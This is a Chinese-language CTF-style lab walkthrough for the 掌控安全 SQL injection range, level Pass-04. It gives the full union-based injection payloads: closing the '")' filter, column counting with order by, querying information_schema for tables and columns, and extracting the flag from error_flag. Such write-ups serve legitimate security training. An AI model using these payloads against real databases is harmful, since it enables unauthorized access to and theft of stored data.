靶场
掌控安全靶场地址:http://inject2.lab.aqlab.cn:81/Pass-04/index.php?id=1
显错注入(四)
没注入之前
我们可以看到这个过滤,不仅加了双引号之外,还加了小括号。
但是没事,我们像前面一样,把双引号闭合,小括号同理,也闭合。
1.判断是否存在SQL注入点
构建SQL语句:
?id=1") and 1=1 --+ 页面正常
?id=1") and 1=2 --+ 查看页面是否正常。结果页面显示不正常。存在SQL注入点。第一个")
要跟前面的闭合 --+ 注释掉后面的 ")
2.判断字段数
构建SQL语句:
?id=1") order by 3 --+ 页面正常
?id=1") order by 4 --+ 页面报错,可以判断网页的字段数为3
3.判断回显点
构建SQL语句:
?id=1") and 1=2 union select 1,2,3 --+ (查询结果显示在下图红框位置)
4.查询当前数据库名
构建SQL语句:
?id=1") and 1=2 union select 1,2,database() --+
5.获取当前数据库的表名
构建SQL语句:
?id=1") and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 --+
6.获取表中的字段名
构建SQL语句:
?id=1") and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 0,1 --+
7.获取字段值
构建SQL语句:
?id=1") and 1=2 union select 1,id,flag from error_flag limit 0,1 --+